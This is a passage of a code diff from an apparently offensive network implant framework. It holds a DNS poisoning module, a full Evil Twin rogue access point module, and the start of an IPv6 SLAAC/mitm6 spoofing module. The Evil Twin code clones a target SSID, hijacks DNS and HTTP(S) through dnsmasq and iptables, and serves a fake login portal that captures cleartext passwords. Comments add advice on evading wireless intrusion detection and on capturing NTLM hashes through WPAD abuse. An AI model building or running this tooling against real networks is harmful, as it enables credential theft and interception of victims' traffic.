||||
priority = 200
|
||||
requires_root = True
|
||||
dependencies = ["bettercap_mgr"]
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._bettercap_mgr = None
|
||||
self._poisoning = False
|
||||
self._domains: Optional[str] = None
|
||||
self._target_ip: Optional[str] = None
|
||||
self._zone_dir = config.get(
|
||||
"zone_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||
if not self._bettercap_mgr:
|
||||
logger.error("DNSPoison requires bettercap_mgr reference in config")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("DNSPoison module started (ready for poison commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._poisoning:
|
||||
self.stop_poison()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("DNSPoison module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"poisoning": self._poisoning,
|
||||
"domains": self._domains,
|
||||
"target_ip": self._target_ip,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def poison(self, domains: str, target_ip: str) -> bool:
|
||||
"""Enable DNS poisoning for specified domains.
|
||||
|
||||
Args:
|
||||
domains: Comma-separated domains or wildcards
|
||||
(e.g., "*.corp.local,login.example.com").
|
||||
target_ip: IP address to redirect poisoned domains to.
|
||||
|
||||
Returns:
|
||||
True if DNS poisoning was enabled successfully.
|
||||
"""
|
||||
if not self._running or not self._bettercap_mgr:
|
||||
logger.error("DNSPoison not started")
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}")
|
||||
self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}")
|
||||
self._bettercap_mgr.run_command("dns.spoof on")
|
||||
|
||||
self._poisoning = True
|
||||
self._domains = domains
|
||||
self._target_ip = target_ip
|
||||
|
||||
self.state.set(self.name, "domains", domains)
|
||||
self.state.set(self.name, "target_ip", target_ip)
|
||||
logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip)
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to enable DNS poisoning")
|
||||
return False
|
||||
|
||||
def load_zone(self, zone_file: str) -> bool:
|
||||
"""Load a zone template and apply DNS poisoning rules.
|
||||
|
||||
Zone file format (one entry per line):
|
||||
domain.com 192.168.1.100
|
||||
*.corp.local 192.168.1.100
|
||||
# comments ignored
|
||||
|
||||
Args:
|
||||
zone_file: Filename within the zone_dir (e.g., "selective.zone").
|
||||
|
||||
Returns:
|
||||
True if zone was loaded and applied.
|
||||
"""
|
||||
zone_path = os.path.join(self._zone_dir, zone_file)
|
||||
if not os.path.isfile(zone_path):
|
||||
logger.error("Zone file not found: %s", zone_path)
|
||||
return False
|
||||
|
||||
try:
|
||||
domains = []
|
||||
target_ip = None
|
||||
|
||||
with open(zone_path, "r") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
parts = line.split()
|
||||
if len(parts) >= 2:
|
||||
domains.append(parts[0])
|
||||
# Use the last IP seen as target
|
||||
target_ip = parts[1]
|
||||
elif len(parts) == 1:
|
||||
domains.append(parts[0])
|
||||
|
||||
if not domains:
|
||||
logger.warning("Zone file %s contains no entries", zone_file)
|
||||
return False
|
||||
|
||||
if not target_ip:
|
||||
target_ip = self.config.get("implant_ip", "127.0.0.1")
|
||||
|
||||
return self.poison(",".join(domains), target_ip)
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to load zone file: %s", zone_file)
|
||||
return False
|
||||
|
||||
def stop_poison(self) -> bool:
|
||||
"""Disable DNS poisoning.
|
||||
|
||||
Returns:
|
||||
True if DNS poisoning was stopped successfully.
|
||||
"""
|
||||
if not self._bettercap_mgr:
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command("dns.spoof off")
|
||||
self._poisoning = False
|
||||
self._domains = None
|
||||
self._target_ip = None
|
||||
|
||||
self.state.set(self.name, "domains", "")
|
||||
self.state.set(self.name, "target_ip", "")
|
||||
logger.info("DNS poisoning disabled")
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to disable DNS poisoning")
|
||||
return False
|
||||
@@ -0,0 +1,554 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Evil Twin AP module — hostapd-based rogue access point with captive portal.
|
||||
|
||||
Creates a wireless access point matching a target SSID, combined with
|
||||
a captive portal served via a lightweight HTTP server. dnsmasq provides
|
||||
DHCP and DNS for connected clients, redirecting all DNS to the portal.
|
||||
|
||||
OPSEC: Run wireless_intel module for 2-hour observation before activation
|
||||
to detect WIDS/WIPS and understand target AP parameters.
|
||||
|
||||
Resources: ~30MB RAM, ~5% CPU
|
||||
"""
|
||||
|
||||
import http.server
|
||||
import logging
|
||||
import os
|
||||
import signal
|
||||
import socketserver
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Default dnsmasq config for captive portal
|
||||
DNSMASQ_CONF_TEMPLATE = """interface={iface}
|
||||
dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h
|
||||
dhcp-option=3,{gateway}
|
||||
dhcp-option=6,{gateway}
|
||||
address=/#/{gateway}
|
||||
no-resolv
|
||||
log-queries
|
||||
log-facility=/tmp/bb-dnsmasq.log
|
||||
"""
|
||||
|
||||
|
||||
class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler):
|
||||
"""HTTP handler for the captive portal.
|
||||
|
||||
Serves the portal HTML for GET requests and captures POST data
|
||||
(credentials) from login forms.
|
||||
"""
|
||||
|
||||
portal_html = ""
|
||||
credential_callback = None
|
||||
|
||||
def do_GET(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "text/html")
|
||||
self.end_headers()
|
||||
self.wfile.write(self.portal_html.encode("utf-8"))
|
||||
|
||||
def do_POST(self):
|
||||
content_length = int(self.headers.get("Content-Length", 0))
|
||||
post_data = self.rfile.read(content_length).decode("utf-8", errors="replace")
|
||||
|
||||
if self.credential_callback:
|
||||
self.credential_callback(self.client_address[0], post_data)
|
||||
|
||||
# Redirect to a "success" page after capture
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "text/html")
|
||||
self.end_headers()
|
||||
success_html = (
|
||||
"<html><body><h2>Connecting...</h2>"
|
||||
"<p>Please wait while we verify your credentials.</p>"
|
||||
"<script>setTimeout(function(){window.location='/'},5000);</script>"
|
||||
"</body></html>"
|
||||
)
|
||||
self.wfile.write(success_html.encode("utf-8"))
|
||||
|
||||
def log_message(self, format, *args):
|
||||
"""Suppress default HTTP logging to avoid console noise."""
|
||||
pass
|
||||
|
||||
|
||||
class EvilTwin(BaseModule):
|
||||
"""Evil Twin AP with captive portal credential harvesting.
|
||||
|
||||
Creates a rogue AP matching a target SSID using hostapd, serves a
|
||||
captive portal, and captures credentials from connecting clients.
|
||||
|
||||
Dependencies:
|
||||
- hostapd (system package)
|
||||
- dnsmasq (system package)
|
||||
- Wireless interface capable of AP mode
|
||||
|
||||
Configuration:
|
||||
wifi_iface: Wireless interface for AP mode (e.g., "wlan0")
|
||||
portal_dir: Path to captive portal HTML templates
|
||||
"""
|
||||
|
||||
name = "evil_twin"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._hostapd_proc: Optional[subprocess.Popen] = None
|
||||
self._dnsmasq_proc: Optional[subprocess.Popen] = None
|
||||
self._portal_thread: Optional[threading.Thread] = None
|
||||
self._portal_server: Optional[socketserver.TCPServer] = None
|
||||
self._wifi_iface = config.get("wifi_iface", "wlan0")
|
||||
self._ap_active = False
|
||||
self._ssid: Optional[str] = None
|
||||
self._channel = 6
|
||||
self._portal_template: Optional[str] = None
|
||||
self._clients: list = []
|
||||
self._clients_lock = threading.Lock()
|
||||
self._captured_creds: list = []
|
||||
self._creds_lock = threading.Lock()
|
||||
self._portal_port = config.get("portal_port", 80)
|
||||
self._gateway_ip = config.get("ap_gateway", "10.0.0.1")
|
||||
self._dhcp_start = config.get("dhcp_start", "10.0.0.10")
|
||||
self._dhcp_end = config.get("dhcp_end", "10.0.0.250")
|
||||
self._template_dir = config.get(
|
||||
"portal_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"),
|
||||
)
|
||||
self._hostapd_template_dir = config.get(
|
||||
"hostapd_template_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"),
|
||||
)
|
||||
self._tmp_dir = "/tmp/bb-evil-twin"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
Path(self._tmp_dir).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("EvilTwin module started (ready for AP creation)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._ap_active:
|
||||
self.stop_ap()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("EvilTwin module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"ap_active": self._ap_active,
|
||||
"ssid": self._ssid,
|
||||
"channel": self._channel,
|
||||
"interface": self._wifi_iface,
|
||||
"client_count": len(self._clients),
|
||||
"captured_creds": len(self._captured_creds),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "wifi_iface" in config:
|
||||
self._wifi_iface = config["wifi_iface"]
|
||||
if "portal_port" in config:
|
||||
self._portal_port = config["portal_port"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def create_ap(self, ssid: str, channel: int = 6,
|
||||
portal_template: str = "corporate_login.html") -> bool:
|
||||
"""Create evil twin AP with captive portal.
|
||||
|
||||
Args:
|
||||
ssid: Target SSID to clone.
|
||||
channel: WiFi channel (default 6).
|
||||
portal_template: Filename of HTML portal template.
|
||||
|
||||
Returns:
|
||||
True if AP was created successfully.
|
||||
"""
|
||||
if not self._running:
|
||||
logger.error("EvilTwin not started")
|
||||
return False
|
||||
|
||||
if self._ap_active:
|
||||
logger.warning("AP already active — stop it first")
|
||||
return False
|
||||
|
||||
self._ssid = ssid
|
||||
self._channel = channel
|
||||
self._portal_template = portal_template
|
||||
|
||||
# Write hostapd config
|
||||
hostapd_conf = self._generate_hostapd_config(ssid, channel)
|
||||
hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf")
|
||||
with open(hostapd_conf_path, "w") as f:
|
||||
f.write(hostapd_conf)
|
||||
|
||||
# Configure wireless interface
|
||||
if not self._setup_interface():
|
||||
return False
|
||||
|
||||
# Start hostapd
|
||||
if not self._start_hostapd(hostapd_conf_path):
|
||||
self._teardown_interface()
|
||||
return False
|
||||
|
||||
# Write and start dnsmasq
|
||||
dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format(
|
||||
iface=self._wifi_iface,
|
||||
dhcp_start=self._dhcp_start,
|
||||
dhcp_end=self._dhcp_end,
|
||||
gateway=self._gateway_ip,
|
||||
)
|
||||
dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf")
|
||||
with open(dnsmasq_conf_path, "w") as f:
|
||||
f.write(dnsmasq_conf)
|
||||
|
||||
if not self._start_dnsmasq(dnsmasq_conf_path):
|
||||
self._stop_hostapd()
|
||||
self._teardown_interface()
|
||||
return False
|
||||
|
||||
# Configure iptables for captive portal redirect
|
||||
self._setup_iptables()
|
||||
|
||||
# Start captive portal HTTP server
|
||||
self._start_portal(portal_template)
|
||||
|
||||
self._ap_active = True
|
||||
self.state.set(self.name, "ssid", ssid)
|
||||
self.state.set(self.name, "channel", str(channel))
|
||||
logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s",
|
||||
ssid, channel, portal_template)
|
||||
return True
|
||||
|
||||
def stop_ap(self) -> bool:
|
||||
"""Stop the evil twin AP and clean up.
|
||||
|
||||
Returns:
|
||||
True if AP was stopped successfully.
|
||||
"""
|
||||
logger.info("Stopping Evil Twin AP...")
|
||||
|
||||
# Stop portal server
|
||||
self._stop_portal()
|
||||
|
||||
# Remove iptables rules
|
||||
self._teardown_iptables()
|
||||
|
||||
# Stop dnsmasq
|
||||
self._stop_dnsmasq()
|
||||
|
||||
# Stop hostapd
|
||||
self._stop_hostapd()
|
||||
|
||||
# Restore interface
|
||||
self._teardown_interface()
|
||||
|
||||
self._ap_active = False
|
||||
self._ssid = None
|
||||
self.state.set(self.name, "ssid", "")
|
||||
logger.info("Evil Twin AP stopped")
|
||||
return True
|
||||
|
||||
def get_clients(self) -> list:
|
||||
"""Return list of currently connected clients.
|
||||
|
||||
Returns:
|
||||
List of dicts with client MAC and IP.
|
||||
"""
|
||||
# Parse dnsmasq lease file for connected clients
|
||||
lease_file = "/tmp/bb-dnsmasq.leases"
|
||||
clients = []
|
||||
if os.path.isfile(lease_file):
|
||||
try:
|
||||
with open(lease_file, "r") as f:
|
||||
for line in f:
|
||||
parts = line.strip().split()
|
||||
if len(parts) >= 4:
|
||||
clients.append({
|
||||
"mac": parts[1],
|
||||
"ip": parts[2],
|
||||
"hostname": parts[3] if parts[3] != "*" else "",
|
||||
})
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
with self._clients_lock:
|
||||
self._clients = clients
|
||||
return clients
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# hostapd management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _generate_hostapd_config(self, ssid: str, channel: int) -> str:
|
||||
"""Generate hostapd config for open AP."""
|
||||
return (
|
||||
f"interface={self._wifi_iface}\n"
|
||||
f"driver=nl80211\n"
|
||||
f"ssid={ssid}\n"
|
||||
f"hw_mode=g\n"
|
||||
f"channel={channel}\n"
|
||||
f"wmm_enabled=0\n"
|
||||
f"macaddr_acl=0\n"
|
||||
f"auth_algs=1\n"
|
||||
f"ignore_broadcast_ssid=0\n"
|
||||
f"wpa=0\n"
|
||||
)
|
||||
|
||||
def _start_hostapd(self, conf_path: str) -> bool:
|
||||
try:
|
||||
self._hostapd_proc = subprocess.Popen(
|
||||
["hostapd", conf_path],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
time.sleep(2) # Wait for hostapd to initialize
|
||||
if self._hostapd_proc.poll() is not None:
|
||||
stderr = self._hostapd_proc.stderr.read().decode(errors="replace")
|
||||
logger.error("hostapd failed to start: %s", stderr)
|
||||
return False
|
||||
logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid)
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
logger.error("hostapd not found — install with: apt install hostapd")
|
||||
return False
|
||||
except Exception as e:
|
||||
logger.error("Failed to start hostapd: %s", e)
|
||||
return False
|
||||
|
||||
def _stop_hostapd(self) -> None:
|
||||
if self._hostapd_proc and self._hostapd_proc.poll() is None:
|
||||
self._hostapd_proc.terminate()
|
||||
try:
|
||||
self._hostapd_proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._hostapd_proc.kill()
|
||||
self._hostapd_proc = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# dnsmasq management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_dnsmasq(self, conf_path: str) -> bool:
|
||||
try:
|
||||
self._dnsmasq_proc = subprocess.Popen(
|
||||
[
|
||||
"dnsmasq", "-C", conf_path,
|
||||
"--no-daemon",
|
||||
"--dhcp-leasefile=/tmp/bb-dnsmasq.leases",
|
||||
],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
time.sleep(1)
|
||||
if self._dnsmasq_proc.poll() is not None:
|
||||
stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace")
|
||||
logger.error("dnsmasq failed to start: %s", stderr)
|
||||
return False
|
||||
logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid)
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
logger.error("dnsmasq not found — install with: apt install dnsmasq")
|
||||
return False
|
||||
except Exception as e:
|
||||
logger.error("Failed to start dnsmasq: %s", e)
|
||||
return False
|
||||
|
||||
def _stop_dnsmasq(self) -> None:
|
||||
if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None:
|
||||
self._dnsmasq_proc.terminate()
|
||||
try:
|
||||
self._dnsmasq_proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._dnsmasq_proc.kill()
|
||||
self._dnsmasq_proc = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Interface management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_interface(self) -> bool:
|
||||
"""Configure wireless interface for AP mode."""
|
||||
try:
|
||||
# Kill interfering processes
|
||||
subprocess.run(
|
||||
["airmon-ng", "check", "kill"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
# Set interface up with IP
|
||||
subprocess.run(
|
||||
["ip", "addr", "flush", "dev", self._wifi_iface],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["ip", "link", "set", self._wifi_iface, "up"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return True
|
||||
except Exception:
|
||||
logger.exception("Failed to configure wireless interface")
|
||||
return False
|
||||
|
||||
def _teardown_interface(self) -> None:
|
||||
"""Restore wireless interface to managed mode."""
|
||||
try:
|
||||
subprocess.run(
|
||||
["ip", "addr", "flush", "dev", self._wifi_iface],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# iptables for captive portal
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_iptables(self) -> None:
|
||||
"""Set up iptables to redirect HTTP traffic to the captive portal."""
|
||||
rules = [
|
||||
# Enable NAT
|
||||
["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface,
|
||||
"-j", "MASQUERADE"],
|
||||
# Redirect HTTP to portal
|
||||
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
# Redirect HTTPS to portal (for captive portal detection)
|
||||
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
]
|
||||
for rule in rules:
|
||||
try:
|
||||
subprocess.run(rule, capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
|
||||
|
||||
# Enable IP forwarding
|
||||
try:
|
||||
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
|
||||
f.write("1")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _teardown_iptables(self) -> None:
|
||||
"""Remove captive portal iptables rules."""
|
||||
rules = [
|
||||
["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface,
|
||||
"-j", "MASQUERADE"],
|
||||
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
]
|
||||
for rule in rules:
|
||||
try:
|
||||
subprocess.run(rule, capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Captive portal HTTP server
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_portal(self, template_name: str) -> None:
|
||||
"""Start the captive portal HTTP server."""
|
||||
portal_path = os.path.join(self._template_dir, template_name)
|
||||
if os.path.isfile(portal_path):
|
||||
with open(portal_path, "r") as f:
|
||||
CaptivePortalHandler.portal_html = f.read()
|
||||
else:
|
||||
logger.warning("Portal template not found: %s — using default", portal_path)
|
||||
CaptivePortalHandler.portal_html = (
|
||||
"<html><body><h1>Welcome</h1>"
|
||||
"<form method='POST'>"
|
||||
"<input name='username' placeholder='Username'><br>"
|
||||
"<input name='password' type='password' placeholder='Password'><br>"
|
||||
"<button type='submit'>Sign In</button>"
|
||||
"</form></body></html>"
|
||||
)
|
||||
|
||||
CaptivePortalHandler.credential_callback = self._on_credential_captured
|
||||
|
||||
self._portal_server = socketserver.TCPServer(
|
||||
("0.0.0.0", self._portal_port), CaptivePortalHandler
|
||||
)
|
||||
self._portal_server.allow_reuse_address = True
|
||||
|
||||
self._portal_thread = threading.Thread(
|
||||
target=self._portal_server.serve_forever,
|
||||
daemon=True,
|
||||
name="sensor-captive-portal",
|
||||
)
|
||||
self._portal_thread.start()
|
||||
logger.info("Captive portal serving on port %d", self._portal_port)
|
||||
|
||||
def _stop_portal(self) -> None:
|
||||
if self._portal_server:
|
||||
self._portal_server.shutdown()
|
||||
self._portal_server = None
|
||||
|
||||
def _on_credential_captured(self, client_ip: str, post_data: str) -> None:
|
||||
"""Handle credential submission from captive portal."""
|
||||
with self._creds_lock:
|
||||
self._captured_creds.append({
|
||||
"timestamp": time.time(),
|
||||
"client_ip": client_ip,
|
||||
"post_data": post_data,
|
||||
})
|
||||
|
||||
# Parse form data for username/password
|
||||
from urllib.parse import parse_qs
|
||||
params = parse_qs(post_data)
|
||||
username = params.get("username", params.get("email", [""]))[0] if params else ""
|
||||
password = params.get("password", params.get("pass", [""]))[0] if params else ""
|
||||
|
||||
self.bus.emit(
|
||||
"CREDENTIAL_FOUND",
|
||||
{
|
||||
"source_module": self.name,
|
||||
"source_ip": client_ip,
|
||||
"target_service": f"captive_portal:{self._ssid}",
|
||||
"username": username,
|
||||
"credential_type": "cleartext",
|
||||
"credential_value": password,
|
||||
"raw_data": post_data,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
logger.info("Captive portal credential captured from %s", client_ip)
|
||||
@@ -0,0 +1,258 @@
|
||||
#!/usr/bin/env python3
|
||||
"""IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6.
|
||||
|
||||
Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server.
|
||||
Combines two approaches:
|
||||
1. bettercap dhcp6.spoof: Router Advertisement injection
|
||||
2. mitm6: Targeted WPAD/DNS takeover via IPv6
|
||||
|
||||
This is significantly stealthier than ARP spoofing — most networks
|
||||
have IPv6 enabled but unmonitored, and DAI does not cover IPv6.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class IPv6SLAAC(BaseModule):
|
||||
"""IPv6 SLAAC spoofing via bettercap + mitm6.
|
||||
|
||||
Dependencies:
|
||||
- bettercap_mgr must be running (for dhcp6.spoof)
|
||||
- mitm6 must be installed (pip install mitm6)
|
||||
|
||||
Configuration:
|
||||
target_domain: Domain to target with mitm6 WPAD abuse
|
||||
mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6)
|
||||
interface: Network interface (default: eth0)
|
||||
"""
|
||||
|
||||
name = "ipv6_slaac"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
dependencies = ["bettercap_mgr"]
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._bettercap_mgr = None
|
||||
self._mitm6_proc: Optional[subprocess.Popen] = None
|
||||
self._mitm6_thread: Optional[threading.Thread] = None
|
||||
self._slaac_active = False
|
||||
self._mitm6_active = False
|
||||
self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6")
|
||||
self._iface = config.get("interface", "eth0")
|
||||
self._target_domain: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||
if not self._bettercap_mgr:
|
||||
logger.error("IPv6SLAAC requires bettercap_mgr reference in config")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.stop_all()
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("IPv6SLAAC module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
mitm6_alive = (
|
||||
self._mitm6_proc is not None and self._mitm6_proc.poll() is None
|
||||
)
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"slaac_active": self._slaac_active,
|
||||
"mitm6_active": self._mitm6_active and mitm6_alive,
|
||||
"target_domain": self._target_domain,
|
||||
"interface": self._iface,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "interface" in config:
|
||||
self._iface = config["interface"]
|
||||
if "mitm6_binary" in config:
|
||||
self._mitm6_binary = config["mitm6_binary"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_slaac(self) -> bool:
|
||||
"""Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof.
|
||||
|
||||
Injects Router Advertisements to become the IPv6 DNS server
|
||||
for all hosts on the segment.
|
||||
|
||||
Returns:
|
||||
True if SLAAC spoofing was enabled.
|
||||
"""
|
||||
if not self._running or not self._bettercap_mgr:
|
||||
logger.error("IPv6SLAAC not started")
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command("dhcp6.spoof on")
|
||||
self._slaac_active = True
|
||||
self.state.set(self.name, "slaac_active", "true")
|
||||
logger.info("IPv6 SLAAC spoofing enabled via bettercap")
|
||||
return True
|
||||
except Exception:
|
||||
logger.exception("Failed to enable SLAAC spoofing")
|
||||
return False
|
||||
|
||||
def start_mitm6(self, domain: str = None) -> bool:
|
||||
"""Start mitm6 for WPAD abuse and DNS takeover via IPv6.
|
||||
|
||||
mitm6 sends RA messages advertising itself as the IPv6 DNS
|
||||
server, then responds to WPAD requests to redirect proxy
|
||||
configuration. Effective for NTLM hash capture when combined
|
||||
with ntlmrelayx.
|
||||
|
||||
Args:
|
||||
domain: Target domain for WPAD abuse (e.g., "corp.local").
|
||||
|
||||
Returns:
|
||||
True if mitm6 was started.
|
||||
"""
|
||||
if not self._running:
|
||||
logger.error("IPv6SLAAC not started")
|
||||
return False
|
||||
|
||||
if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None:
|
||||
logger.warning("mitm6 already running")
|
||||
return True
|
||||
|
||||
self._target_domain = domain or self.config.get("target_domain", "")
|
||||
|
||||
cmd = [self._mitm6_binary, "-i", self._iface]
|
||||
if self._target_domain:
|
||||
cmd.extend(["-d", self._target_domain])
|
||||
|
||||
try:
|
||||
self._mitm6_proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
time.sleep(2)
|
||||
if self._mitm6_proc.poll() is not None:
|
||||
stderr = self._mitm6_proc.stderr.read().decode(errors="replace")
|
||||
logger.error("mitm6 failed to start: %s", stderr)
|
||||
return False
|
||||
|
||||
self._mitm6_active = True
|
||||
|
||||
# Start output monitoring thread
|
||||
self._mitm6_thread = threading.Thread(
|
||||
target=self._monitor_mitm6, daemon=True, name="sensor-mitm6-monitor"
|
